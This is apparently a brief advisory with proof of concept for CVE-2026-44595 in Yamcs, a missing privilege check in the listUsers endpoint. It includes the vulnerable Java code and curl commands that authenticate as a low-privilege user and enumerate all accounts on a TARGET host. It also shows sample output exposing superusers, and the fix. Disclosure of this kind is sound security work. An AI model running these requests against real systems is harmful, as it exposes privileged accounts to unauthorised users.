Yamcs yamcs-core CVE-2026-44595

// listUsers - NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
    for (User user : users) {
        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
        responseb.addUsers(userb);
    }
}

// createUser - correctly protected
public void createUser(Context ctx, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=lowpriv&password=lowpriv123"
# Enumerate all users - no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
  -H "Authorization: Bearer $TOKEN" #paste access_token

{
  "users": [
    { "name": "admin", "superuser": true, "active": true },
    { "name": "operator", "superuser": true, "active": true },
    { "name": "lowpriv", "superuser": false, "active": true }
  ]
}

public void listUsers(Context ctx, Empty request, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
    ...
}